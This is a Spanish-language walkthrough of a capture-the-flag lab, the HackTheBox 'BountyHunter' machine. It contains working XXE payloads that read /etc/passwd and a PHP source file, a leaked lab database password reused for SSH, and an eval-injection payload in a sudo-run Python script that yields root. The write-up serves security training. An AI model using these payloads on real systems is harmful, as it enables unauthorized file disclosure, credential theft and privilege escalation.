BountyHunter

Difficulty : Easy
Operating System : Linux
Rating : 4.4
Author : ejedev
Description
Para comprometer esta maquina haremos uso de una vulnerabilidad xxe que nos permitira abrir el camino para encontrar las credenciales del usuario inicial. Una vez dentro de la maquina deberemos explotar un script en python para conseguir acceso a root. Aunque el enunciado indica que es una maquina de nivel facil, yo la calificaria de intermedia, pues necesitamos pensar un poco "out of the box" para realizar la intrusion.
Enumeration
Para la enumeracion basica vamos a utilizar una tool que he desarrollado especificamente para trabajar con maquinas en la plataforma hackthebox. Esta herramienta crea la carpeta de trabajo, realiza un escaneo basico con nmap y si encuentra un servicio web le lanza una enumeracion basica.
Descarga: HTBenum
Nmap
Nmap scan report for bountyhunter.htb (10.129.192.240)
Host is up (0.069s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
http://bountyhunter.htb [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.192.240], JQuery, Script, Title[Bounty Hunters]
HTTP/1.1 200 OK
Date: Mon, 26 Jul 2021 14:50:32 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
[root@htb bountyhunter]# ffuf -recursion -c -e '.htm','.php','.html','.js','.txt','.zip','.bak','.asp','.aspx','.xml','.py','.log','.json','.old' -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://bountyhunter.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://bountyhunter.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Extensions : .htm .php .html .js .txt .zip .bak .asp .aspx .xml .py .log .json .old
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
index.php [Status: 200, Size: 25169, Words: 10028, Lines: 389]
resources [Status: 301, Size: 324, Words: 20, Lines: 10]
[INFO] Adding a new job to the queue: http://bountyhunter.htb/resources/FUZZ
assets [Status: 301, Size: 321, Words: 20, Lines: 10]
[INFO] Adding a new job to the queue: http://bountyhunter.htb/assets/FUZZ
portal.php [Status: 200, Size: 125, Words: 11, Lines: 6]
css [Status: 301, Size: 318, Words: 20, Lines: 10]
[INFO] Adding a new job to the queue: http://bountyhunter.htb/css/FUZZ
db.php [Status: 200, Size: 0, Words: 1, Lines: 1]
js [Status: 301, Size: 317, Words: 20, Lines: 10]
[INFO] Adding a new job to the queue: http://bountyhunter.htb/js/FUZZ
User Own
Tras analizar los directorios y ficheros obtenidos con ffuf , me encuentro con dos archivos interesantes dentro de la
carpeta resources

En este archivo podemos ver una lista de tareas pendientes , aparentemente los passwords no se hashean.
README.txt
Tasks:
[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions
tracker_diRbPr00f314.php que es procesado como un xml, lo que nos
indica que podriamos estar ante una vulnerabilidad XML External Entity
bountylog.js
function returnSecret(data) {
return Promise.resolve($.ajax({
type: "POST",
data: {"data":data},
url: "tracker_diRbPr00f314.php"
}));
}
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}
http://bountyhunter.htb/portal.php y analizar la request desde BurpSuite

Enviamos todo a Repeater para trabajar con comodidad y nos llevamos el resultado de data a Decoder , para analizar y generar el payload que vamos a inyectar

Como vemos en la imagen anterior, obtenemos el data limpio que se ha enviado como POST a tracker_diRbPr00f314.php.
A continuacion vamos a inyectar un payload para intentar leer /etc/passwd y lo volvemos a codear para
enviarlo con repeater
readfile payload
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<bugreport>
<title>&xxe;</title>
<cwe>666</cwe>
<cvss>10</cvss>
<reward>80k</reward>
</bugreport>
Copiamos el resultado y vamos a Repeater para inyectar nuestro nuevo data

Genial! hemos conseguido leer un fichero de sistema. He probado varios payloads para xxe con la intencion de realizar un RCE sin exito. Por lo que finalmente he escrito un exploit para explotar directamente la vulnerabilidad desde consola y facilitarme la lectura de ficheros en el sistema con la intencion de escalar privilegios.
Descarga: xplxxe.sh
[root@htb bountyhunter]# ./xplxxe.sh "/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
-- SNIP --
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
ffuf encontre un fichero llamado db.php que seguramente contenga datos importantes.Tras intentar localizarlo dentro de la que deberia ser la ruta del servidor web
/var/www/html sin exito,
tuve que modificar el payload para leer ficheros del servidor web a traves de php filter.Se trata de la funcion
//filter/convert.base64-encode/resource que viene incluida en PHP desde la version 5.0.0
y obliga a php a convertir los archivos a base64 antes de su ejecucion.Encontre la solucion en la increible documentacion de HackTricks
phpfilter payload
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php" >]>
<bugreport>
<title>&xxe;</title>
<cwe>d3l3t3m3</cwe>
<cvss>d3l3t3m3</cvss>
<reward>d3l3t3m3</reward>
</bugreport>
db.php
[root@htb bountyhunter]# ./xplxxe.sh "db.php"
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
development que encontramos en /etc/passwd y logramos acceder por ssh
development
m19RoAU0hP41A1sTsq6K
[root@htb bountyhunter]# ssh -l development bountyhunter.htb
development@bountyhunter.htb's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri 30 Jul 2021 12:37:23 AM UTC
System load: 0.0
Usage of /: 26.0% of 6.83GB
Memory usage: 24%
Swap usage: 0%
Processes: 209
Users logged in: 0
IPv4 address for eth0: 10.10.11.100
IPv6 address for eth0: dead:beef::250:56ff:feb9:50cd
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Jul 29 15:54:43 2021 from 10.10.14.15
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)
Root Own
El vector de ataque para conseguir usuario root esta claro desde el principio, una enumeracion basica en la maquina nos pondra sobre la pista rapidamente
Descarga: ticketValidator.py
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Un analisis rapido nos indica que es un script para validar tickets que contiene varias verificaciones para asegurarse que es un ticket correcto.
En la carpeta /opt/skytrain_inc/invalid_tickets/ podemos encontrar unos tickets aparentemente invalidos.
development@bountyhunter:~$ ls /opt/skytrain_inc/invalid_tickets/ -alt
total 24
drwxr-xr-x 2 root root 4096 Jul 22 11:08 .
drwxr-xr-x 3 root root 4096 Jul 22 11:08 ..
-r--r--r-- 1 root root 102 Jul 22 11:08 390681613.md
-r--r--r-- 1 root root 86 Jul 22 11:08 529582686.md
-r--r--r-- 1 root root 97 Jul 22 11:08 600939065.md
-r--r--r-- 1 root root 101 Jul 22 11:08 734485704.md
development@bountyhunter:~$ cat /opt/skytrain_inc/invalid_tickets/390681613.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End Ticket
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/opt/skytrain_inc/invalid_tickets/390681613.md
Destination: New Haven
Invalid ticket.
development@bountyhunter:~$
Vamos a analizarlo paso a paso:
Lo primero que encontramos es una verificacion con la extension del archivo.
Debe ser .md (MarkDown)
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
Seguidamente encontramos una funcion que verifica la estructura del archivo:
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()): # Lee las lineas del archivo
if i == 0:
if not x.startswith("# Skytrain Inc"): # La primera linea debe empezar por # Skytrain Inc
return False
continue
if i == 1:
if not x.startswith("## Ticket to "): # La segunda linea debe empezar por ## Ticket to
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"): # La tercera linea debe empezar por __Ticket Code:__
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"): # La cuarta linea debe empezar por **
return False
ticketCode = x.replace("**", "").split("+")[0] # esto recoge y reemplaza el numero que pongamos, un *99+ quedaria en 99
if int(ticketCode) % 7 == 4: # Esta funcion evalua si el entero que hemos puesto tiene un resto (remainder) de 4
validationNumber = eval(x.replace("**", "")) # aqui esta el truco, parece que no se valida el "cierre" de la variable, aqui inyectaremos nuestro payload
if validationNumber > 100: # el entero con resto 4 debe ser mayor de 100
return True
else:
return False
return False
Teniendo todos los puntos claros, parece ser que los tickets invalidos encontrados cumplen casi todas las funciones excepto que los enteros dividos entre 7 no dan de resto 4.
Para saber que numeros (mayores de 100) dan de resto 4, voy a escribir un script rapido.
#!/usr/bin/env bash
#este script busca numeros entre 100 y 2000 que den como resto 4
for i in {100..2000};do
num=$(($i % 7))
if [ $num = 4 ];then
echo "$i entre 7 da resto $num"
fi
done
[root@htb bountyhunter]# ./calc.sh
102 entre 7 da resto 4
109 entre 7 da resto 4
116 entre 7 da resto 4
123 entre 7 da resto 4
130 entre 7 da resto 4
137 entre 7 da resto 4
144 entre 7 da resto 4
151 entre 7 da resto 4
158 entre 7 da resto 4
165 entre 7 da resto 4
-- SNIP ---
1985 entre 7 da resto 4
1992 entre 7 da resto 4
1999 entre 7 da resto 4
Ahora que tenemos numeros validos, vamos a construir un ticket y lo pasamos por el ticket validator
development@bountyhunter:~$ cat lala.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**1999**
##Issued: 2021/04/06
#End Ticket
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
lala.md
Destination: New Haven
Valid ticket.
Ahora que tenemos un ticket valido, vamos a inyectar un payload dando la primera variable como TRUE y agregando un and PAYLOAD , veamoslo :
payload
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**1999+1 == 2000 and __import__('os').system('id') == False
##Issued: 2021/04/06
#End Ticket
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
lala.md
Destination: New Haven
uid=0(root) gid=0(root) groups=0(root)
Invalid ticket.